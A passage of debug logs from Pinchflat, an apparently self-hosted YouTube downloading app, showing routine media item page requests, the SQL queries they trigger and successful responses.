s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.581 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.582 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.585 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.585 [info] Sent 200 in 13ms 04:53:48.588 [info] Sent 200 in 17ms 04:53:48.615 [info] GET /sources/30/media/90850 04:53:48.616 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90850", "source_id" => "30"} Pipelines: [:browser] 04:53:48.617 [debug] QUERY OK source="media_items" db=0.7ms idle=37.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90850] 04:53:48.618 [debug] QUERY OK source="tasks" db=0.2ms idle=37.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90850] 04:53:48.619 [debug] QUERY OK source="sources" db=0.5ms idle=37.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.620 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=36.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.621 [debug] QUERY OK source="settings" db=0.3ms idle=35.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.622 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.624 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.629 [info] Sent 200 in 13ms 04:53:48.669 [info] GET /sources/31/media/91243/edit 04:53:48.670 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91243", "source_id" => "31"} Pipelines: [:browser] 04:53:48.671 [debug] QUERY OK source="media_items" db=0.4ms idle=51.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91243] 04:53:48.672 [debug] QUERY OK source="settings" db=0.4ms idle=51.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.673 [debug] QUERY OK source="settings" db=0.2ms idle=51.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.674 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=51.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.678 [info] Sent 200 in 8ms 04:53:48.678 [info] GET /sources/30/media/90850/edit 04:53:48.679 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90850", "source_id" => "30"} Pipelines: [:browser] 04:53:48.680 [debug] QUERY OK source="media_items" db=0.4ms idle=55.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90850] 04:53:48.681 [debug] QUERY OK source="settings" db=0.5ms idle=9.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.682 [debug] QUERY OK source="settings" db=0.4ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.684 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=10.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.687 [info] Sent 200 in 8ms 04:53:48.718 [info] GET /sources/31/media/91245 04:53:48.719 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91245", "source_id" => "31"} Pipelines: [:browser] 04:53:48.720 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=45.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91245] 04:53:48.722 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=41.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91245] 04:53:48.722 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=40.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:48.724 [info] GET /sources/30/media/90853 04:53:48.725 [info] GET /sources/30/media/90853/edit 04:53:48.724 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90853", "source_id" => "30"} Pipelines: [:browser] 04:53:48.725 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90853", "source_id" => "30"} Pipelines: [:browser] 04:53:48.725 [debug] QUERY OK source="settings" db=1.8ms queue=0.1ms idle=41.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.727 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=42.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90853] 04:53:48.728 [debug] QUERY OK source="settings" db=1.8ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.729 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90853] 04:53:48.730 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.731 [debug] QUERY OK source="settings" db=1.7ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.732 [debug] QUERY OK source="tasks" db=2.8ms queue=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90853] 04:53:48.733 [debug] QUERY OK source="settings" db=2.8ms queue=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.733 [debug] QUERY OK source="sources" db=2.9ms queue=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.735 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.5ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.735 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.737 [debug] QUERY OK source="settings" db=2.2ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.738 [debug] QUERY OK source="settings" db=0.5ms queue=0.7ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.739 [info] Sent 200 in 20ms 04:53:48.739 [info] Sent 200 in 14ms 04:53:48.740 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.742 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.745 [info] Sent 200 in 21ms 04:53:48.753 [info] GET /sources/31/media/91245/edit 04:53:48.753 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91245", "source_id" => "31"} Pipelines: [:browser] 04:53:48.755 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=18.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91245] 04:53:48.756 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=18.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.757 [debug] QUERY OK source="settings" db=0.4ms idle=17.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.758 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=18.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.762 [info] Sent 200 in 8ms 04:53:48.781 [info] GET /sources/30/media/91689 04:53:48.781 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91689", "source_id" => "30"} Pipelines: [:browser] 04:53:48.782 [debug] QUERY OK source="media_items" db=0.4ms idle=40.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91689] 04:53:48.784 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=28.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91689] 04:53:48.784 [info] GET /sources/30/media/91689/edit 04:53:48.784 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=27.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.785 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91689", "source_id" => "30"} Pipelines: [:browser] 04:53:48.787 [debug] QUERY OK source="settings" db=1.4ms idle=26.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.787 [debug] QUERY OK source="media_items" db=2.1ms idle=28.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91689] 04:53:48.788 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.789 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.790 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.791 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.793 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.793 [debug] QUERY OK source="media_profiles" db=1.5ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.797 [info] Sent 200 in 12ms 04:53:48.798 [info] Sent 200 in 17ms 04:53:48.837 [info] GET /sources/30/media/90855 04:53:48.837 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90855", "source_id" => "30"} Pipelines: [:browser] 04:53:48.838 [debug] QUERY OK source="media_items" db=0.4ms idle=49.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90855] 04:53:48.839 [debug] QUERY OK source="tasks" db=0.3ms idle=48.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90855] 04:53:48.840 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=48.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.841 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=47.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 